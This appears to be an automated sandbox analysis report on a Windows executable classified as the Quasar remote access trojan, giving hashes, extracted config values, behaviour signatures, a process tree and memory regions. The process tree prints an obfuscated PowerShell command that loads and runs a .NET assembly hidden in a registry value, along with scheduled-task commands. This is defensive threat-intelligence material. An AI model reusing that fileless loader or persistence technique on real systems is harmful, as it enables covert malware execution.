Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    150s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    28/01/2025, 05:48

General

  • Target

    24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe

  • Size

    5.4MB

  • MD5

    dd2c5095b1d6590197ed2432837655f0

  • SHA1

    d287bb38f83941199fa66d7420b6f8cff2257a16

  • SHA256

    24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999

  • SHA512

    24d7f1b61f07060f7723a306d46b1d82ca1b54a93770bfb783b83f613edb9a412f929a40c396fda5b6b3402ca37531f53ce1d42524623a6ce1cfee61e726e283

  • SSDEEP

    98304:zHTFcsxxcsx30XgnNvfSDRyhoVi8rhh+xX/r:zHOgn0DRy2oR/r

Malware Config

Extracted

Family

quasar

Attributes
  • encryption_key

    329720B689F7B7703EAAA9546BE3BAFE737B0649

  • reconnect_delay

    3000

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar family
  • Quasar payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Modifies data under HKEY_USERS 2 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 41 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:432
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{d64a87c8-d3a5-47e2-a772-a2e09b1855bc}
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1604
    • C:\Windows\system32\services.exe
      C:\Windows\system32\services.exe
      1⤵
        PID:476
      • C:\Users\Admin\AppData\Local\Temp\24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe
        "C:\Users\Admin\AppData\Local\Temp\24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe"
        1⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1580
        • C:\Windows\System32\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /Delete /TN "$nya-Loli_1" /F
          2⤵
            PID:2908
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
            2⤵
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2968
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
              3⤵
              • System Location Discovery: System Language Discovery
              PID:2616
          • C:\Windows\system32\cmd.exe
            cmd /c ""C:\Users\Admin\AppData\Local\Temp\G9T1ti74EuwA.bat" "
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1724
            • C:\Windows\system32\chcp.com
              chcp 65001
              3⤵
                PID:916
              • C:\Windows\system32\PING.EXE
                ping -n 10 localhost
                3⤵
                • System Network Configuration Discovery: Internet Connection Discovery
                • Runs ping.exe
                PID:884
          • C:\Windows\system32\taskeng.exe
            taskeng.exe {42A62481-6770-41EA-960C-F5A894FF4C1C} S-1-5-18:NT AUTHORITY\System:Service:
            1⤵
            • Suspicious use of WriteProcessMemory
            PID:2584
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'OF'+[Char](84)+''+[Char](87)+'A'+'R'+''+[Char](69)+'').GetValue('$'+'n'+''+'y'+''+[Char](97)+''+[Char](45)+''+'s'+''+[Char](116)+'a'+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
              2⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Command and Scripting Interpreter: PowerShell
              • Drops file in System32 directory
              • Suspicious use of SetThreadContext
              • Modifies data under HKEY_USERS
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:2664

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\G9T1ti74EuwA.bat

            Filesize

            166B

            MD5

            6b1c895d21f29a065dfaae4b74e2686c

            SHA1

            773e44d04792c3d82ab80ba748773e6290504a1f

            SHA256

            e3e9d93b29dffc7699242fd5bcd0065a22203e96a06c9f6f62349b700a04af24

            SHA512

            05de89da0e7c07ea89761b32ecc327d63d672fe4229bb046b22a304e717eae16d1626607a7fbaa09fbf50151a4e37cf4e9d64415f86f1519292a7d5992292eb8

          • memory/432-43-0x0000000000BB0000-0x0000000000BDA000-memory.dmp

            Filesize

            168KB

          • memory/432-49-0x00000000373B0000-0x00000000373C0000-memory.dmp

            Filesize

            64KB

          • memory/432-65-0x0000000000BB0000-0x0000000000BDA000-memory.dmp

            Filesize

            168KB

          • memory/432-66-0x0000000000BB0000-0x0000000000BDA000-memory.dmp

            Filesize

            168KB

          • memory/432-67-0x0000000000BB0000-0x0000000000BDA000-memory.dmp

            Filesize

            168KB

          • memory/432-36-0x0000000000AF0000-0x0000000000B14000-memory.dmp

            Filesize

            144KB

          • memory/432-37-0x0000000000BB0000-0x0000000000BDA000-memory.dmp

            Filesize

            168KB

          • memory/432-44-0x0000000000BB0000-0x0000000000BDA000-memory.dmp

            Filesize

            168KB

          • memory/432-48-0x000007FEBD650000-0x000007FEBD660000-memory.dmp

            Filesize

            64KB

          • memory/432-47-0x0000000000BB0000-0x0000000000BDA000-memory.dmp

            Filesize

            168KB

          • memory/432-46-0x0000000000BB0000-0x0000000000BDA000-memory.dmp

            Filesize

            168KB

          • memory/432-45-0x0000000000BB0000-0x0000000000BDA000-memory.dmp

            Filesize

            168KB

          • memory/432-34-0x0000000000AF0000-0x0000000000B14000-memory.dmp

            Filesize

            144KB

          • memory/432-38-0x0000000000BB0000-0x0000000000BDA000-memory.dmp

            Filesize

            168KB

          • memory/476-73-0x0000000000200000-0x000000000022A000-memory.dmp

            Filesize

            168KB

          • memory/476-79-0x00000000373B0000-0x00000000373C0000-memory.dmp

            Filesize

            64KB

          • memory/476-78-0x000007FEBD650000-0x000007FEBD660000-memory.dmp

            Filesize

            64KB

          • memory/476-77-0x0000000000200000-0x000000000022A000-memory.dmp

            Filesize

            168KB

          • memory/476-76-0x0000000000200000-0x000000000022A000-memory.dmp

            Filesize

            168KB

          • memory/476-74-0x0000000000200000-0x000000000022A000-memory.dmp

            Filesize

            168KB

          • memory/476-75-0x0000000000200000-0x000000000022A000-memory.dmp

            Filesize

            168KB

          • memory/476-68-0x0000000000200000-0x000000000022A000-memory.dmp

            Filesize

            168KB

          • memory/1580-81-0x000007FEF5F80000-0x000007FEF696C000-memory.dmp

            Filesize

            9.9MB

          • memory/1580-0-0x000007FEF5F83000-0x000007FEF5F84000-memory.dmp

            Filesize

            4KB

          • memory/1580-3-0x000007FEF5F80000-0x000007FEF696C000-memory.dmp

            Filesize

            9.9MB

          • memory/1580-1-0x0000000001230000-0x0000000001798000-memory.dmp

            Filesize

            5.4MB

          • memory/1580-2-0x000007FEF5F80000-0x000007FEF696C000-memory.dmp

            Filesize

            9.9MB

          • memory/1604-26-0x0000000140000000-0x0000000140008000-memory.dmp

            Filesize

            32KB

          • memory/1604-29-0x0000000077370000-0x0000000077519000-memory.dmp

            Filesize

            1.7MB

          • memory/1604-24-0x0000000140000000-0x0000000140008000-memory.dmp

            Filesize

            32KB

          • memory/1604-23-0x0000000140000000-0x0000000140008000-memory.dmp

            Filesize

            32KB

          • memory/1604-25-0x0000000140000000-0x0000000140008000-memory.dmp

            Filesize

            32KB

          • memory/1604-30-0x0000000077250000-0x000000007736F000-memory.dmp

            Filesize

            1.1MB

          • memory/1604-28-0x0000000140000000-0x0000000140008000-memory.dmp

            Filesize

            32KB

          • memory/1604-31-0x0000000140000000-0x0000000140008000-memory.dmp

            Filesize

            32KB

          • memory/2616-14-0x0000000000400000-0x000000000042B000-memory.dmp

            Filesize

            172KB

          • memory/2616-11-0x0000000000400000-0x000000000042B000-memory.dmp

            Filesize

            172KB

          • memory/2616-7-0x0000000000400000-0x000000000042B000-memory.dmp

            Filesize

            172KB

          • memory/2616-8-0x0000000000400000-0x000000000042B000-memory.dmp

            Filesize

            172KB

          • memory/2616-9-0x0000000000400000-0x000000000042B000-memory.dmp

            Filesize

            172KB

          • memory/2616-10-0x0000000000400000-0x000000000042B000-memory.dmp

            Filesize

            172KB

          • memory/2616-12-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

            Filesize

            4KB

          • memory/2616-17-0x0000000000400000-0x000000000042B000-memory.dmp

            Filesize

            172KB

          • memory/2664-20-0x0000000001420000-0x000000000144A000-memory.dmp

            Filesize

            168KB

          • memory/2664-19-0x0000000001120000-0x0000000001128000-memory.dmp

            Filesize

            32KB

          • memory/2664-18-0x000000001A030000-0x000000001A312000-memory.dmp

            Filesize

            2.9MB

          • memory/2664-22-0x0000000077250000-0x000000007736F000-memory.dmp

            Filesize

            1.1MB

          • memory/2664-21-0x0000000077370000-0x0000000077519000-memory.dmp

            Filesize

            1.7MB

          • memory/2968-4-0x00000000000C0000-0x00000000000E9000-memory.dmp

            Filesize

            164KB

          • memory/2968-6-0x00000000000C0000-0x00000000000E9000-memory.dmp

            Filesize

            164KB